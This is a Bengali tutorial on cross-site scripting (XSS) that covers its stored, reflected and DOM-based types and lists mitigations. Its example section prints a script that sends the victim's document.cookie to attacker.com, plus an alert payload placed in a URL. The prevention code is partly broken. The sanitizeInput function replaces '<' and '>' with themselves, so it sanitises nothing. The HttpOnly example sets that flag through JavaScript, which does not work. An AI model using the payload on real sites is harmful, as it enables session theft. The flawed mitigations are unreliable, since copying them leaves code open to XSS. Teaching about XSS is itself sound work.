XSS অ্যাটাক: হ্যাকাররা কীভাবে এক লাইনের কোড দিয়ে ডেটা চুরি করে
XSS (Cross-Site Scripting) একটি ওয়েব সিকিউরিটি ভালনারেবিলিটি। এর মাধ্যমে অ্যাটাকাররা ভিকটিমের ব্রাউজারে ক্ষতিকর স্ক্রিপ্ট প্রবেশ করিয়ে কুকি, সেশন টোকেন এবং অন্যান্য সংবেদনশীল তথ্য চুরি করতে পারে।
XSS কী?
XSS অ্যাটাকগুলো মূলত তখনই ঘটে যখন কোনো ওয়েব অ্যাপ্লিকেশন ব্যবহারকারীর কাছ থেকে ইনপুট নিয়ে তা স্যানিটাইজ না করেই আউটপুটে প্রদর্শন করে। এর ফলে অ্যাটাকার ক্ষতিকর JavaScript কোড ইনপুট হিসেবে প্রবেশ করিয়ে ব্যবহারকারীর ব্রাউজারে এক্সিকিউট করতে পারে।
XSS এর প্রকারভেদ
XSS মূলত তিন প্রকার:
-
Stored XSS:
এই ধরনের অ্যাটাকে, ক্ষতিকর স্ক্রিপ্টগুলো সার্ভারে জমা থাকে (যেমন: কোনো ডাটাবেজে)। যখন কোনো ইউজার সেই পেজ ভিজিট করে, তখন স্ক্রিপ্টটি সার্ভার থেকে লোড হয়ে ইউজারের ব্রাউজারে এক্সিকিউট হয়। -
Reflected XSS:
এই অ্যাটাকে, ক্ষতিকর স্ক্রিপ্টটি সরাসরি HTTP রিকোয়েস্টের মাধ্যমে সার্ভারে পাঠানো হয়। সার্ভার সেই স্ক্রিপ্টটিকে রেসপন্সের সাথে রিফ্লেক্ট করে, যা ইউজারের ব্রাউজারে এক্সিকিউট হয়। -
DOM-based XSS:
এই অ্যাটাকে, ক্লায়েন্ট-সাইড স্ক্রিপ্ট ব্যবহার করে DOM (Document Object Model) ম্যানিপুলেট করা হয়। ক্ষতিকর স্ক্রিপ্টটি URL অথবা অন্য কোনো ক্লায়েন্ট-সাইড ডেটা সোর্স থেকে আসে এবং সরাসরি ব্রাউজারে এক্সিকিউট হয়।
XSS কিভাবে কাজ করে?
XSS অ্যাটাকের মূল প্রক্রিয়া নিচে দেওয়া হলো:
- অ্যাটাকার একটি ক্ষতিকর স্ক্রিপ্ট তৈরি করে।
- স্ক্রিপ্টটিকে কোনো ইনপুট ফিল্ডের মাধ্যমে ওয়েবসাইটে প্রবেশ করানো হয় (যেমন: কমেন্ট বক্স, সার্চ বার)।
- যখন কোনো ইউজার সেই পেজ ভিজিট করে, তখন স্ক্রিপ্টটি ব্রাউজারে এক্সিকিউট হয়।
- স্ক্রিপ্টটি ইউজারের কুকি, সেশন টোকেন অথবা অন্যান্য সংবেদনশীল তথ্য চুরি করে অ্যাটাকারের কাছে পাঠিয়ে দেয়।
কোডিং উদাহরণ
ধরুন, একটি ওয়েবসাইটে একটি সার্চ বার আছে। যদি সাইটটি ইনপুট সঠিকভাবে স্যানিটাইজ না করে, তাহলে অ্যাটাকার নিচের স্ক্রিপ্টটি প্রবেশ করাতে পারে:
<script> window.location = 'http://attacker.com/steal?cookie=' + document.cookie; </script>
এই স্ক্রিপ্টটি ইউজারের কুকি attacker.com
-এ পাঠিয়ে দেবে।
এছাড়া কুয়েরি প্যারামিটারে স্ক্রিপ্ট এক্সিকিউট করানোর একটি অন্য উদাহরণ হলো:
https://example.com/search?query= <script> alert('XSS'); </script>
XSS প্রতিরোধ করার উপায়
XSS থেকে বাঁচার জন্য কিছু গুরুত্বপূর্ণ পদক্ষেপ নিচে দেওয়া হলো:
- ইনপুট ভ্যালিডেশন:
ব্যবহারকারীর কাছ থেকে আসা সকল ইনপুট ভ্যালিডেট করতে হবে। অপ্রত্যাশিত ক্যারেক্টার এবং কোড ফিল্টার করতে হবে।
function sanitizeInput(input) { return input.replace(/</g, '<').replace(/>/g, '>'); }
- আউটপুট এনকোডিং:
ডাটাবেস বা অন্য কোনো সোর্স থেকে ডেটা নিয়ে যখন তা ওয়েবসাইটে দেখানো হয়, তখন তা অবশ্যই এনকোড করতে হবে। HTML এনকোডিং সবচেয়ে বেশি ব্যবহৃত হয়।
// Assuming the unsafe data is from the URL's query string const urlParams = new URLSearchParams(window.location.search); const unsafeData = urlParams.get('data'); // Sanitize the input by creating a text node const sanitizedData = document.createTextNode(unsafeData); // Insert the sanitized data into an element, like a div with id "output" document.getElementById('output').appendChild(sanitizedData);
- Content Security Policy (CSP):
CSP ব্যবহার করে ব্রাউজারকে বলে দেওয়া যায় যে কোন সোর্স থেকে স্ক্রিপ্ট লোড করা যাবে। এর মাধ্যমে ক্ষতিকর স্ক্রিপ্ট এক্সিকিউট হওয়া থেকে বাঁচানো যায়।
<meta http-equiv="Content-Security-Policy" content="default-src 'self'" />
- HttpOnly কুকি:
এই ধরনের কুকি ব্রাউজারের জন্য অ্যাক্সেস করা যাবে, কিন্তু জাভাস্ক্রিপ্ট এক্সেস করা যাবে না। এটি XSS অ্যাটাক থেকে বাঁচার জন্য অত্যন্ত গুরুত্বপূর্ণ।
// Set a cookie in JavaScript with the same properties document.cookie = 'cookie_name=cookie_value; path=/; max-age=' + 3600 + '; secure; HttpOnly';
-
স্যানিটাইজ লাইব্রেরি ব্যবহার:
স্যানিটাইজ লাইব্রেরি ব্যবহার করে ইনপুট স্যানিটাইজ করা যায়। এটি কোড রিপিটেশন এবং ভুল থেকে বাঁচানোর জন্য অত্যন্ত গুরুত্বপূর্ণ। -
innerText এর ব্যবহার:
innerHTML এর পরিবর্তে innerText ব্যবহার করা যেতে পারে। innerText টেক্সট প্রদর্শন করে যা এক্সিকিউটেবল নয়। -
নিয়মিত আপডেট:
ওয়েবসাইটের সফটওয়্যার এবং লাইব্রেরিগুলো সবসময় আপ-টু-ডেট রাখতে হবে। আপডেটের মাধ্যমে সিকিউরিটি প্যাচগুলো ইনস্টল হয়ে যায়, যা XSS অ্যাটাক থেকে রক্ষা করে।
কেন XSS প্রতিরোধ করা দরকার?
XSS অ্যাটাক একটি ওয়েবসাইটের জন্য মারাত্মক ক্ষতি ডেকে আনতে পারে। এর মাধ্যমে অ্যাটাকার ইউজারের অ্যাকাউন্ট কন্ট্রোল নিতে পারে, সংবেদনশীল তথ্য চুরি করতে পারে এবং ওয়েবসাইটে ক্ষতিকর কনটেন্ট প্রবেশ করিয়ে সাইটের সুনাম নষ্ট করতে পারে। তাই, XSS প্রতিরোধ করা অত্যন্ত জরুরি।
XSS অ্যাটাক থেকে বাঁচতে হলে ডেভেলপার এবং ওয়েবসাইট মালিকদের সচেতন থাকতে হবে। সঠিক ইনপুট ভ্যালিডেশন, আউটপুট এনকোডিং এবং CSP ব্যবহারের মাধ্যমে XSS অ্যাটাক সফলভাবে প্রতিরোধ করা সম্ভব।